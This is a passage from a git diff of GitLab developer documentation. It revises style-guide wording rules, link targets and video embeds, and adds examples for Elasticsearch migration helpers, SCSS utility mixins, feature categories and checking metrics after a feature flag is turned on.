info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Distributed Tracing - development guidelines **(FREE)**
+# Distributed Tracing - development guidelines
GitLab is instrumented for distributed tracing. Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com.
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index a9f2726ea93..8a5a993d913 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -241,7 +241,7 @@ with the following conventions:
- It omits the `.md` extension.
- It doesn't end with a forward slash (`/`).
-The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/helping-users/#formatting-help-content).
+The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/contextual-help#formatting-help-content).
#### Linking to `/help` in HAML
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 3e55b334992..921bb13721b 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -17,7 +17,7 @@ In addition to this page, the following resources can help you craft and contrib
- [Doc contribution guidelines](../index.md)
- [Recommended word list](word_list.md)
- [Doc style and consistency testing](../testing.md)
-- [Guidelines for UI error messages](https://design.gitlab.com/content/error-messages/)
+- [Guidelines for UI error messages](https://design.gitlab.com/content/voice-and-tone#clear-error-messages)
- [Documentation global navigation](../site_architecture/global_nav.md)
- [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines)
- [Microsoft Style Guide](https://learn.microsoft.com/en-us/style-guide/welcome/)
@@ -523,10 +523,10 @@ When using code block style:
## Lists
-- Use a period after every sentence, including those that complete an introductory phrase.
- Do not use semicolons or commas.
-- Majority rules. Use either full sentences or all fragments. Avoid a mix.
-- Always start list items with a capital letter.
+- Do not use a period if the phrase is not a full sentence.
+- Use a period after every sentence. Do not use semicolons or commas.
+- Majority rules. All items should have the same punctuation.
+- Start list items with a capital letter.
- Separate the introductory phrase from explanatory text with a colon (`:`). For example:
```markdown
@@ -1217,7 +1217,7 @@ To embed a video:
the video title and link in the line under `<div class="video-fallback">`.
1. In YouTube, select **Share**, and then select **Embed**.
1. Copy the `<iframe>` source (`src`) **URL only**
- (`https://www.youtube.com/embed/VIDEO-ID`),
+ (`https://www.youtube-nocookie.com/embed/VIDEO-ID`),
and paste it, replacing the content of the `src` field in the
`iframe` tag.
@@ -1227,7 +1227,7 @@ leave a blank line here
See the video: <a href="https://www.youtube.com/watch?v=MqL6BMOySIQ">Video title</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen> </iframe>
</figure>
leave a blank line here
```
@@ -1238,7 +1238,7 @@ This is how it renders on the GitLab documentation site:
See the video: <a href="https://www.youtube.com/watch?v=enMumwvLAug">What is GitLab</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen> </iframe>
</figure>
> Notes:
@@ -1249,6 +1249,7 @@ different mobile devices.
> - The `<div class="video-fallback">` is a fallback necessary for
`/help`, because the GitLab Markdown processor doesn't support iframes. It's
hidden on the documentation site, but is displayed by `/help`.
+> - The `www.youtube-nocookie.com` domain enables the [Privacy Enhanced Mode](https://support.google.com/youtube/answer/171780?hl=en#zippy=%2Cturn-on-privacy-enhanced-mode) of the YouTube embedded player. This mode allows users with resticted cookie preferences to view embedded videos.
## Alert boxes
@@ -1446,6 +1447,8 @@ For example:
[configuration edits guide](#configuration-documentation-for-different-installation-methods))
- `15.1 and earlier`, `15.2 and later`
+Until we implement automated testing for broken links to tabs ([Issue 1355](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/1355)), do not link directly to a single tab, even though they do have unique URL parameters.
+
See [Pajamas](https://design.gitlab.com/components/tabs/#guidelines) for more
details on tabs.
diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md
index 333a5521536..fcebe3b3649 100644
--- a/doc/development/documentation/styleguide/word_list.md
+++ b/doc/development/documentation/styleguide/word_list.md
@@ -186,6 +186,10 @@ Instead, use **assign**. For example:
- Assign the issue to an epic.
- Assign a user to the issue.
+## authenticated user
+
+Use **authenticated user** instead of other variations, like **signed in user** or **logged in user**.
+
## below
Try to avoid **below** when referring to an example or table in a documentation page. If required, use **following** instead. For example:
@@ -309,6 +313,13 @@ Users can set the default branch by using a UI setting.
For examples that use the default branch, use `main` instead of [`master`](#master).
+## delete
+
+Use **delete** when an object is completely deleted. **Delete** is the opposite of **create**.
+
+When the object continues to exist, use [**remove**](#remove) instead.
+For example, you can remove an issue from an epic, but the issue still exists.
+
## Dependency Proxy
Use title case for the GitLab Dependency Proxy.
@@ -487,7 +498,7 @@ Use title case for **Geo**.
## GitLab
-Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/trademark-guidelines/).
+Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/brand-and-product-marketing/brand/brand-activation/trademark-guidelines/).
## GitLab.com
@@ -691,6 +702,10 @@ Do not use **limitations**. Use **known issues** instead.
Do not use **log in** or **log on**. Use [sign in](#sign-in) instead. If the user interface has **Log in**, you can use it.
+## logged-in user, logged in user
+
+Use **authenticated user** instead of **logged-in user** or **logged in user**.
+
## lower
Do not use **lower** when talking about version numbers.
@@ -937,6 +952,12 @@ we would talk to a colleague, and to avoid differentiation between `we` and `the
Use **register** instead of **sign up** when talking about creating an account.
+## remove
+
+Use **remove** when an object continues to exist. For example, you can remove an issue from an epic, but the issue still exists.
+
+When an object is completely deleted, use [**delete**](#delete) instead.
+
## Reporter
When writing about the Reporter role:
@@ -1075,6 +1096,10 @@ You can use **single sign-on**.
Use **register** instead of **sign up** when talking about creating an account.
+## signed-in user, signed in user
+
+Use **authenticated user** instead of **signed-in user** or **signed in user**.
+
## simply, simple
Do not use **simply** or **simple**. If the user doesn't find the process to be simple, we lose their trust. ([Vale](../testing.md#vale) rule: [`Simplicity.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Simplicity.yml))
@@ -1318,7 +1343,7 @@ in present tense, active voice.
## you, your, yours
Use **you**, **your**, and **yours** instead of **the user** and **the user's**.
-Documentation should be from the [point of view](https://design.gitlab.com/content/voice-tone/#point-of-view) of the reader.
+Documentation should be from the [point of view](https://design.gitlab.com/content/voice-and-tone#point-of-view) of the reader.
Use:
diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md
index 8b8f281d7c1..58584b5168b 100644
--- a/doc/development/documentation/testing.md
+++ b/doc/development/documentation/testing.md
@@ -282,16 +282,16 @@ Vale returns three types of results:
- **Error** - For branding guidelines, trademark guidelines, and anything that causes content on
the docs site to render incorrectly.
-- **Warning** - For Technical Writing team style preferences.
-- **Suggestion** - For basic technical writing tenets and best practices.
+- **Warning** - For general style guide rules, tenets, and best practices.
+- **Suggestion** - For technical writing style preferences that may require refactoring of documentation or updates to an exceptions list.
The result types have these attributes:
-| Result type | Displayed in CI/CD job output | Causes CI/CD jobs to fail | Vale rule link |
-|--------------|-------------------------------|---------------------------|----------------|
-| `error` | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) |
-| `warning` | **{dotted-circle}** No | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) |
-| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) |
+| Result type | Displays in CI/CD job output | Displays in MR diff | Causes CI/CD jobs to fail | Vale rule link |
+|--------------|------------------------------|---------------------|---------------------------|----------------|
+| `error` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) |
+| `warning` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) |
+| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) |
#### Vale spelling test
@@ -360,6 +360,10 @@ In general, follow these guidelines:
If the rule is too subjective, it cannot be adequately enforced and creates
unnecessary additional warnings.
+ - Whether it's appropriate to display in the merge request diff in the GitLab UI.
+ If the rule is difficult to implement directly in the merge request (for example,
+ it requires page refactoring), set it to suggestion-level so it displays in local editors only.
+
### Install linters
At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in
@@ -407,15 +411,13 @@ To configure markdownlint in your editor, install one of the following as approp
- Sublime Text [`SublimeLinter-contrib-markdownlint` package](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint).
- Visual Studio Code [`DavidAnson.vscode-markdownlint` extension](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint).
-- Atom [`linter-node-markdownlint` package](https://atom.io/packages/linter-node-markdownlint).
- Vim [ALE plugin](https://github.com/dense-analysis/ale).
To configure Vale in your editor, install one of the following as appropriate:
-- Sublime Text [`SublimeLinter-contrib-vale` package](https://packagecontrol.io/packages/SublimeLinter-contrib-vale).
+- Sublime Text [`SublimeLinter-vale` package](https://packagecontrol.io/packages/SublimeLinter-vale).
- Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server).
You can configure the plugin to [display only a subset of alerts](#show-subset-of-vale-alerts).
-- Atom [`atomic-vale` package](https://atom.io/packages/atomic-vale).
- Vim [ALE plugin](https://github.com/dense-analysis/ale).
- JetBrains IDEs - No plugin exists, but
[this issue comment](https://github.com/errata-ai/vale-server/issues/39#issuecomment-751714451)
diff --git a/doc/development/documentation/topic_types/concept.md b/doc/development/documentation/topic_types/concept.md
index e01b06c2c07..66af8780b9b 100644
--- a/doc/development/documentation/topic_types/concept.md
+++ b/doc/development/documentation/topic_types/concept.md
@@ -10,8 +10,8 @@ A concept introduces a single feature or concept.
A concept should answer the questions:
-- What is this?
-- Why would you use it?
+- **What** is this?
+- **Why** would you use it?
Think of everything someone might want to know if they've never heard of this concept before.
@@ -24,12 +24,15 @@ Concepts should be in this format:
```markdown
# Title (a noun, like "Widgets")
-A paragraph that explains what this thing is.
+A paragraph or two that explains what this thing is and why you would use it.
-Another paragraph that explains what this thing is.
+If you start to describe another concept, stop yourself.
+Each concept should be about **one concept only**.
-Remember, if you start to describe about another concept, stop yourself.
-Each concept should be about one concept only.
+If you start to describe **how to use the thing**, stop yourself.
+Task topics explain how to use something, not concept topics.
+
+Do not include links to related tasks. The navigation provides links to tasks.
```
## Concept topic titles
diff --git a/doc/development/documentation/topic_types/index.md b/doc/development/documentation/topic_types/index.md
index 964b41303cb..cfc231c268a 100644
--- a/doc/development/documentation/topic_types/index.md
+++ b/doc/development/documentation/topic_types/index.md
@@ -28,7 +28,7 @@ If inline links are not sufficient, you can create a topic called **Related topi
and include an unordered list of related topics. This topic should be above the Troubleshooting section.
```markdown
-# Related topics
+## Related topics
- [Configure your pipeline](link-to-topic).
- [Trigger a pipeline manually](link-to-topic).
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index 2effa21b266..3c73030aceb 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -21,7 +21,7 @@ If you are not a GitLab team member, or do not have the Developer role for the G
1. Select an [issue](https://about.gitlab.com/handbook/product/ux/technical-writing/#community-contribution-opportunities) you'd like to work on.
- You don't need an issue to open a merge request.
- - For a Hackathon, in the issue, in a comment, mention the person who opened the issue and ask for the issue to be assigned to you.
+ - For a Hackathon, mention `@docs-hackathon` in a comment and ask for the issue to be assigned to you.
To be fair to other contributors, if you see someone has already asked to work on the issue, choose another issue.
If you are looking for issues to work on and don't see any that suit you, you can always fix [Vale](testing.md#vale) issues.
1. Go to the [GitLab repository](https://gitlab.com/gitlab-org/gitlab).
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index 5e236c3e322..4eb5bedef1c 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -209,7 +209,10 @@ To test an EE class that doesn't exist in CE, create the spec file as you normal
would in the `ee/spec` directory, but without the second `ee/` subdirectory.
For example, a class `ee/app/models/vulnerability.rb` would have its tests in `ee/spec/models/vulnerability_spec.rb`.
-By default, licensed features are disabled while specs are running. To effectively test your feature
+By default, licensed features are disabled for specs in `specs/`.
+Specs in the `ee/spec` directory have Starter license initialized by default.
+
+To effectively test your feature
you must explicitly enable the feature using the `stub_licensed_features` helper, for example:
```ruby
diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md
index 88a417b4745..961a47e005b 100644
--- a/doc/development/elasticsearch.md
+++ b/doc/development/elasticsearch.md
@@ -4,7 +4,7 @@ group: Global Search
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Elasticsearch knowledge **(PREMIUM SELF)**
+# Elasticsearch knowledge
This area is to maintain a compendium of useful information when working with Elasticsearch.
@@ -191,8 +191,7 @@ If the current version is `v12p1`, and we need to create a new version for `v12p
NOTE:
This only supported for indices created with GitLab 13.0 or greater.
-Migrations are stored in the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder with `YYYYMMDDHHMMSS_migration_name.rb`
-filename format, which is similar to Rails database migrations:
+In the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder, create a new file with the filename format `YYYYMMDDHHMMSS_migration_name.rb`. This format is the same for Rails database migrations.
```ruby
# frozen_string_literal: true
@@ -225,6 +224,86 @@ To update Elastic index mappings, apply the configuration to the respective file
Migrations can be built with a retry limit and have the ability to be [failed and marked as halted](https://gitlab.com/gitlab-org/gitlab/-/blob/66e899b6637372a4faf61cfd2f254cbdd2fb9f6d/ee/lib/elastic/migration.rb#L40).
Any data or index cleanup needed to support migration retries should be handled within the migration.
+### Migration helpers
+
+The following migration helpers are available in `ee/app/workers/concerns/elastic/`:
+
+#### `Elastic::MigrationBackfillHelper`
+
+Backfills a specific field in an index. In most cases, the mapping for the field should already be added.
+
+Requires the `index_name` and `field_name` methods.
+
+```ruby
+class MigrationName < Elastic::Migration
+ include Elastic::MigrationBackfillHelper
+
+ private
+
+ def index_name
+ Issue.__elasticsearch__.index_name
+ end
+
+ def field_name
+ :schema_version
+ end
+end
+```
+
+#### `Elastic::MigrationUpdateMappingsHelper`
+
+Updates a mapping in an index by calling `put_mapping` with the mapping specified.
+
+Requires the `index_name` and `new_mappings` methods.
+
+```ruby
+class MigrationName < Elastic::Migration
+ include Elastic::MigrationUpdateMappingsHelper
+
+ private
+
+ def index_name
+ Issue.__elasticsearch__.index_name
+ end
+
+ def new_mappings
+ {
+ schema_version: {
+ type: 'short'
+ }
+ }
+ end
+end
+```
+
+#### `Elastic::MigrationObsolete`
+
+Marks a migration as obsolete when it's no longer required.
+
+```ruby
+class MigrationName < Elastic::Migration
+ include Elastic::MigrationObsolete
+end
+```
+
+#### `Elastic::MigrationHelper`
+
+Contains methods you can use when a migration doesn't fit the previous examples.
+
+```ruby
+class MigrationName < Elastic::Migration
+ include Elastic::MigrationHelper
+
+ def migrate
+ ...
+ end
+
+ def completed?
+ ...
+ end
+end
+```
+
### Migration options supported by the `Elastic::MigrationWorker`
[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options:
diff --git a/doc/development/experiment_guide/implementing_experiments.md b/doc/development/experiment_guide/implementing_experiments.md
index e1407473731..5bce9f1fab5 100644
--- a/doc/development/experiment_guide/implementing_experiments.md
+++ b/doc/development/experiment_guide/implementing_experiments.md
@@ -138,7 +138,7 @@ communicate about experiments as something that's wider than just user behavior.
NOTE:
Using `actor:` uses cookies if the `current_user` is nil. If you don't need
cookies though - meaning that the exposed functionality would only be visible to
-signed in users - `{ user: current_user }` would be just as effective.
+authenticated users - `{ user: current_user }` would be just as effective.
WARNING:
The caching of variant assignment is done by using this context, and so consider
diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md
index 982033cf2ad..6d13f419430 100644
--- a/doc/development/fe_guide/content_editor.md
+++ b/doc/development/fe_guide/content_editor.md
@@ -4,7 +4,7 @@ group: Editor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Content Editor development guidelines **(FREE)**
+# Content Editor development guidelines
The Content Editor is a UI component that provides a WYSIWYG editing
experience for [GitLab Flavored Markdown](../../user/markdown.md) in the GitLab application.
@@ -64,7 +64,7 @@ Instead, you should obtain an instance of the `ContentEditor` class by listening
```html
<script>
-import createFlash from '~/flash';
+import { createAlert } from '~/flash';
import { __ } from '~/locale';
export default {
@@ -75,7 +75,7 @@ export default {
try {
await this.contentEditor.setSerializedContent(this.content);
} catch (e) {
- createFlash(__('Could not load initial document'));
+ createAlert({ message: __('Could not load initial document') });
}
},
submitChanges() {
diff --git a/doc/development/fe_guide/customizable_dashboards.md b/doc/development/fe_guide/customizable_dashboards.md
index 807f83f5bec..7e7718f8e60 100644
--- a/doc/development/fe_guide/customizable_dashboards.md
+++ b/doc/development/fe_guide/customizable_dashboards.md
@@ -4,13 +4,15 @@ group: Product Analytics
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Customizable dashboards **(PREMIUM)**
+# Customizable dashboards
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98610) in GitLab 15.5 as an [Alpha feature](../../policy/alpha-beta-support.md#alpha-features).
Customizable dashboards provide a dashboard structure that allows users to create
their own dashboards and commit the structure to a repository.
+This feature is available for Premium and Ultimate subscriptions.
+
## Usage
To use customizable dashboards:
diff --git a/doc/development/fe_guide/merge_request_widget_extensions.md b/doc/development/fe_guide/merge_request_widget_extensions.md
index 49c6664c6d6..5ad918d466b 100644
--- a/doc/development/fe_guide/merge_request_widget_extensions.md
+++ b/doc/development/fe_guide/merge_request_widget_extensions.md
@@ -4,7 +4,7 @@ group: Code Review
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Merge request widget extensions **(FREE)**
+# Merge request widget extensions
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44616) in GitLab 13.6.
@@ -40,7 +40,7 @@ export default {
summary(data) {}, // Required: Level 1 summary text
statusIcon(data) {}, // Required: Level 1 status icon
tertiaryButtons() {}, // Optional: Level 1 action buttons
- shouldCollapse() {}, // Optional: Add logic to determine if the widget can expand or not
+ shouldCollapse(data) {}, // Optional: Add logic to determine if the widget can expand or not
},
methods: {
fetchCollapsedData(props) {}, // Required: Fetches data required for collapsed state
diff --git a/doc/development/fe_guide/source_editor.md b/doc/development/fe_guide/source_editor.md
index 4cfc68553e0..5f2e8c1e029 100644
--- a/doc/development/fe_guide/source_editor.md
+++ b/doc/development/fe_guide/source_editor.md
@@ -4,7 +4,7 @@ group: Editor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Source Editor **(FREE)**
+# Source Editor
**Source Editor** provides the editing experience at GitLab. This thin wrapper around
[the Monaco editor](https://microsoft.github.io/monaco-editor/) provides necessary
diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md
index 7a5c955db93..b84f41311b6 100644
--- a/doc/development/fe_guide/style/scss.md
+++ b/doc/development/fe_guide/style/scss.md
@@ -61,6 +61,41 @@ Inspiration:
- <https://tailwindcss.com/docs/utility-first>
- <https://tailwindcss.com/docs/extracting-components>
+#### Utility mixins
+
+In addition to utility classes GitLab UI provides utility mixins named after the utility classes.
+
+For example a utility class `.gl-mt-3` will have a corresponding mixin `gl-mt-3`. Here's how it can be used in an SCSS file:
+
+```scss
+.my-class {
+ @include gl-mt-3;
+}
+```
+
+These mixins should be used to replace _magic values_ in our code.
+For example a `margin-top: 8px` is a good candidate for the `@include gl-mt-3` mixin replacement.
+
+Avoid using utility mixins for [pre-defined CSS keywords](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units#pre-defined_keyword_values).
+For example prefer `display: flex` over `@include gl-display-flex`.
+
+```scss
+// Bad
+.my-class {
+ @include gl-display-flex;
+}
+
+// Good
+.my-class {
+ display: flex;
+}
+
+// Good
+.my-class {
+ @include gl-mt-3;
+}
+```
+
### Naming
Filenames should use `snake_case`.
diff --git a/doc/development/fe_guide/view_component.md b/doc/development/fe_guide/view_component.md
index 90bb75514d8..f9d148d8b82 100644
--- a/doc/development/fe_guide/view_component.md
+++ b/doc/development/fe_guide/view_component.md
@@ -179,9 +179,9 @@ For the full list of options, see its
The `Pajamas::CheckboxComponent` follows the [Pajamas Checkbox](https://design.gitlab.com/components/checkbox/) specification.
NOTE:
-`Pajamas::CheckboxComponent` is used internally by the [GitLab UI form builder](haml.md#use-the-gitlab-ui-form-builder) and requires an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/v6.1.0/classes/ActionView/Helpers/FormBuilder.html) to be passed as the `form` argument.
+`Pajamas::CheckboxComponent` is used internally by the [GitLab UI form builder](haml.md#use-the-gitlab-ui-form-builder) and requires an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) to be passed as the `form` argument.
It is preferred to use the [`gitlab_ui_checkbox_component`](haml.md#gitlab_ui_checkbox_component) method to render this ViewComponent.
-To use a checkbox without an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/v6.1.0/classes/ActionView/Helpers/FormBuilder.html) use [CheckboxTagComponent](#checkbox-tag).
+To use a checkbox without an instance of [ActionView::Helpers::FormBuilder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) use [CheckboxTagComponent](#checkbox-tag).
For the full list of options, see its
[source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/components/pajamas/checkbox_component.rb).
diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md
index 19bbfa314ea..01ee50fb6ca 100644
--- a/doc/development/fe_guide/vuex.md
+++ b/doc/development/fe_guide/vuex.md
@@ -97,7 +97,7 @@ In this file, we write the actions that call mutations for handling a list of us
```javascript
import * as types from './mutation_types';
import axios from '~/lib/utils/axios_utils';
- import createFlash from '~/flash';
+ import { createAlert } from '~/flash';
export const fetchUsers = ({ state, dispatch }) => {
commit(types.REQUEST_USERS);
@@ -106,7 +106,7 @@ In this file, we write the actions that call mutations for handling a list of us
.then(({ data }) => commit(types.RECEIVE_USERS_SUCCESS, data))
.catch((error) => {
commit(types.RECEIVE_USERS_ERROR, error)
- createFlash({ message: 'There was an error' })
+ createAlert({ message: 'There was an error' })
});
}
diff --git a/doc/development/feature_categorization/index.md b/doc/development/feature_categorization/index.md
index 47663915ea7..7f275f25c3d 100644
--- a/doc/development/feature_categorization/index.md
+++ b/doc/development/feature_categorization/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/269) in GitLab 13.2.
-Each Sidekiq worker, controller action, [test example](../testing_guide/best_practices.md#feature-category-metadata) or API endpoint
+Each Sidekiq worker, Batched Background migrations, controller action, [test example](../testing_guide/best_practices.md#feature-category-metadata) or API endpoint
must declare a `feature_category` attribute. This attribute maps each
of these to a [feature category](https://about.gitlab.com/handbook/product/categories/). This
is done for error budgeting, alert routing, and team attribution.
@@ -76,6 +76,25 @@ category (worker or HTTP endpoint) in metrics and logs.
For instance, `ReactiveCachingWorker` can have multiple feature
categories in metrics and logs.
+## Batched background migrations
+
+Long-running migrations (as per the [time limits guidelines](../migration_style_guide.md#how-long-a-migration-should-take))
+are pulled out as [batched background migrations](../database/batched_background_migrations.md).
+They should define a `feature_category`, like this:
+
+```ruby
+# File name: lib/gitlab/background_migration/my_background_migration_job.rb
+
+class MyBackgroundMigrationJob < BatchedMigrationJob
+ feature_category :gitaly
+
+ #...
+end
+```
+
+NOTE:
+[`RuboCop::Cop::BackgroundMigration::FeatureCategory`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/cop/background_migration/feature_category.rb) cop ensures a valid `feature_category` is defined.
+
## Rails controllers
Specifying feature categories on controller actions can be done using
@@ -96,7 +115,7 @@ second argument:
```ruby
class DashboardController < ApplicationController
feature_category :team_planning, [:issues, :issues_calendar]
- feature_category :code_review, [:merge_requests]
+ feature_category :code_review_workflow, [:merge_requests]
end
```
@@ -203,3 +222,9 @@ can be done using the `not_owned` feature category.
```ruby
RSpec.describe Utils, feature_category: :not_owned do
```
+
+### Tooling feature category
+
+For Engineering Productivity internal tooling we use `feature_category: :tooling`.
+
+For example in [`spec/tooling/danger/specs_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/tooling/danger/specs_spec.rb#L12).
diff --git a/doc/development/feature_development.md b/doc/development/feature_development.md
index b9e093b9479..874a56555fb 100644
--- a/doc/development/feature_development.md
+++ b/doc/development/feature_development.md
@@ -108,7 +108,7 @@ Consult these topics for information on contributing to specific GitLab features
- [Performance guidelines](performance.md) for writing code, benchmarks, and
certain patterns to avoid.
- [Caching guidelines](caching.md) for using caching in Rails under a GitLab environment.
-- [Merge request performance guidelines](merge_request_performance_guidelines.md)
+- [Merge request performance guidelines](merge_request_concepts/performance.md)
for ensuring merge requests do not negatively impact GitLab performance
- [Profiling](profiling.md) a URL or tracking down N+1 queries using Bullet.
- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index 3e6491a92b5..f1eafc2a95a 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -328,6 +328,21 @@ If a project A has `:feature-set-1` enabled, there is no guarantee that project
For more detail, see [This is how percentages work in Flipper](https://www.hackwithpassion.com/this-is-how-percentages-work-in-flipper/).
+### Verifying metrics after enabling feature flag
+
+After turning on the feature flag, you need to [monitor the relevant graphs](https://about.gitlab.com/handbook/engineering/monitoring/) between each step:
+
+1. Go to [`dashboards.gitlab.net`](https://dashboards.gitlab.net).
+1. Turn on the `feature-flag`.
+1. Watch `Latency: Apdex` for services that might be impacted by your change
+ (like `sidekiq service`, `api service` or `web service`). Then check out more in-depth
+ dashboards by selecting `Service Overview Dashboards` and choosing a dashboard that might
+ be related to your change.
+
+In this illustration, you can see that the Apdex score started to decline after the feature flag was enabled at `09:46`. The feature flag was then deactivated at `10:31`, and the service returned to the original value:
+
+![Feature Flag Metrics](../img/feature-flag-metrics.png)
+
### Feature flag change logging
#### ChatOps level
diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md
index 7a46cd40da1..dda2c05288f 100644
--- a/doc/development/features_inside_dot_gitlab.md
+++ b/doc/development/features_inside_dot_gitlab.md
@@ -15,7 +15,7 @@ When implementing new features, please refer to these existing features to avoid
- [GitLab agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`.
- [CODEOWNERS](../user/project/code_owners.md#set-up-code-owners): `.gitlab/CODEOWNERS`.
- [Route Maps](../ci/review_apps/index.md#route-maps): `.gitlab/route-map.yml`.
-- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`.
+- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-helm-chart-values): `.gitlab/auto-deploy-values.yaml`.
- [Insights](../user/project/insights/index.md#configure-project-insights): `.gitlab/insights.yml`.
- [Service Desk Templates](../user/project/service_desk.md#using-customized-email-templates): `.gitlab/service_desk_templates/`.
- [Web IDE](../user/project/web_ide/index.md#web-ide-configuration-file): `.gitlab/.gitlab-webide.yml`.
diff --git a/doc/development/fips_compliance.md b/doc/development/fips_compliance.md
index 187a9b0cc93..147ff5fa6e9 100644
--- a/doc/development/fips_compliance.md
+++ b/doc/development/fips_compliance.md
@@ -22,7 +22,7 @@ mean FIPS 140-2.
## Current status
-GitLab is actively working towards FIPS compliance. Progress on this initiative can be tracked with this [FIPS compliance Epic](https://gitlab.com/groups/gitlab-org/-/epics/6452).
